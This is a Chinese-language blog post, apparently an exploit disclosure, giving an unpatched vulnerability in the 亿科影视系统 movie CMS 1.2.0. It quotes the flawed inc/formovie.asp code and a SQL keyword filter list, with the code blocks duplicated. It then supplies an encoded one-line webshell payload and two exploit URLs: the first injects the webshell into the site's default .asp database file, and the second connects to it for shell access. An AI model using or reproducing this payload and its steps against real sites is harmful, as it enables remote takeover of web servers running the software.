亿科影视系统0day

原文地址:
http://www.3hsg.net/post/yikeyingshi0day.php
官网:
http://www.moviecms.cn/

影响版本:
软件版本信息: 1.2.0 access (其他还未试过)
未出补丁


程序介绍:

采用S/B三层结构编写逻辑更清晰维护更简单,页面显示更快,执行效率更高
栏目自由分类
地区添加修改
独特的专题栏目
可生成HTML与动态切换
方便快速的一键生成 生成进度的显示
逻辑清晰管理更方便
系统集成主流播放器 Qvod 17bobo 迅雷 youku 土豆 56 新浪视频 QQ视频 sohu视频 6间房 Flv 流媒体等播放器
后台自由的播放器设置
强大的播前广告
幻灯随意修改添加
方便的友情连接管理
风格模板标签编辑 强大的模板功能 简单的模板标签


漏洞分析:
文件inc/formovie.asp中:

view plaincopy to clipboardprint?
dim fortime   
fortime=now()   
conn.execute("INSERT INTO "&web_dbtop&"formovie (forcontent,fortime) VALUES ('"&DelHtml(NoSqlHack(Trim(Request.QueryString("Formovie"))))&"','"&fortime&"')")   
//第六行Formovie变量经过了NoSqlHack和DelHtml进行过滤.   
dim fortime
fortime=now()
conn.execute("INSERT INTO "&web_dbtop&"formovie (forcontent,fortime) VALUES ('"&DelHtml(NoSqlHack(Trim(Request.QueryString("Formovie"))))&"','"&fortime&"')")
//第六行Formovie变量经过了NoSqlHack和DelHtml进行过滤.


//第六行Formovie变量经过了NoSqlHack和DelHtml进行过滤.

看看NoSqlHack函数的代码

view plaincopy to clipboardprint?
Function NoSqlHack(content)   
  Dim f_NoSqlHack_AllStr,f_NoSqlHack_Str,f_NoSqlHack_i,Str_InputStr   
  If content = "" Or IsNull(content) Then Exit Function  
  Str_InputStr=content   
  f_NoSqlHack_AllStr="dbcc|alter|drop|* |and|exec|or|insert|select|delete|update|count|master|truncate|declare|char|mid(|chr|set |where|xp_cmdshell|tab|union"  
  f_NoSqlHack_Str = Split(f_NoSqlHack_AllStr,"|")   
  For f_NoSqlHack_i=LBound(f_NoSqlHack_Str) To Ubound(f_NoSqlHack_Str)   
    If Instr(LCase(Str_InputStr),f_NoSqlHack_Str(f_NoSqlHack_i))<>0 Then  
      If f_NoSqlHack_Str(f_NoSqlHack_i)="'" Then f_NoSqlHack_Str(f_NoSqlHack_i)=" \' "  
      Response.Write "<html><title>警告</title><body    bgcolor=""EEEEEE"" leftmargin=""60"" topmargin=""30""><font style=""font-size:16px;font-weight:bolder;color:blue;""><li>您提交的数据有恶意字符</li></font><font style=""font-size:14px;font-weight:bolder;color:red;""><br/><li>您的数据已经被记录!</li><br/><li>您的IP:"&Request.ServerVariables("Remote_Addr")&"</li><br/><li>操作日期:"&Now&"</li></font><script type='text/javascript'>  
//<![CDATA[  
if (document.getElementById('processtime')) document.getElementById('processtime').innerHTML="<span class='runtimedisplay'>Run in 208 ms, 6 Queries.</span>";  
//]]>  
</script></body></html>"  
      Response.End  
    End if   
  Next  
  NoSqlHack = Replace(Replace(Str_InputStr,"'","''"),"%27","''")   
End Function  
  
Function NoSqlHack(content)
  Dim f_NoSqlHack_AllStr,f_NoSqlHack_Str,f_NoSqlHack_i,Str_InputStr
  If content = "" Or IsNull(content) Then Exit Function
  Str_InputStr=content
  f_NoSqlHack_AllStr="dbcc|alter|drop|* |and|exec|or|insert|select|delete|update|count|master|truncate|declare|char|mid(|chr|set |where|xp_cmdshell|tab|union"
  f_NoSqlHack_Str = Split(f_NoSqlHack_AllStr,"|")
  For f_NoSqlHack_i=LBound(f_NoSqlHack_Str) To Ubound(f_NoSqlHack_Str)
    If Instr(LCase(Str_InputStr),f_NoSqlHack_Str(f_NoSqlHack_i))<>0 Then
      If f_NoSqlHack_Str(f_NoSqlHack_i)="'" Then f_NoSqlHack_Str(f_NoSqlHack_i)=" \' "
      Response.Write "<html><title>警告</title><body    bgcolor=""EEEEEE"" leftmargin=""60"" topmargin=""30""><font style=""font-size:16px;font-weight:bolder;color:blue;""><li>您提交的数据有恶意字符</li></font><font style=""font-size:14px;font-weight:bolder;color:red;""><br/><li>您的数据已经被记录!</li><br/><li>您的IP:"&Request.ServerVariables("Remote_Addr")&"</li><br/><li>操作日期:"&Now&"</li></font><script type='text/javascript'>
//<![CDATA[
if (document.getElementById('processtime')) document.getElementById('processtime').innerHTML="<span class='runtimedisplay'>Run in 208 ms, 6 Queries.</span>";
//]]>
</script></body></html>"
      Response.End
    End if
  Next
  NoSqlHack = Replace(Replace(Str_InputStr,"'","''"),"%27","''")
End Function



再看正则表达式的代码,过滤的很多.

view plaincopy to clipboardprint?
Function DelHtml(Str1)   
  Dim regEx   
  Set regEx = New RegExp   
  regEx.Pattern = "(<[^>]*?>)" //使用正则过滤了   
  regEx.Global = True  
  regEx.IgnoreCase = True  
  DelHtml = replace(regEx.Replace(""&str1,"")," ","")   
End Function  
Function DelHtml(Str1)
  Dim regEx
  Set regEx = New RegExp
  regEx.Pattern = "(<[^>]*?>)" //使用正则过滤了
  regEx.Global = True
  regEx.IgnoreCase = True
  DelHtml = replace(regEx.Replace(""&str1,"")," ","")
End Function

虽然过滤的很多但是我们可以插入一句话,只要将一句话变形一下就行了.
这里我附带一句话密码a:
┼癥污爠煥敵瑳∨≡┩>   
┼癥污爠煥敵瑳∨≡┩>


利用默认数据库为asp,可以拿到shell.

Exp:   
http://target/inc/formovie.asp?Formovie=┼癥污爠煥敵瑳∨≡┩>   //插入一句话   
http://target/data/%23db.asp  //一句话连接.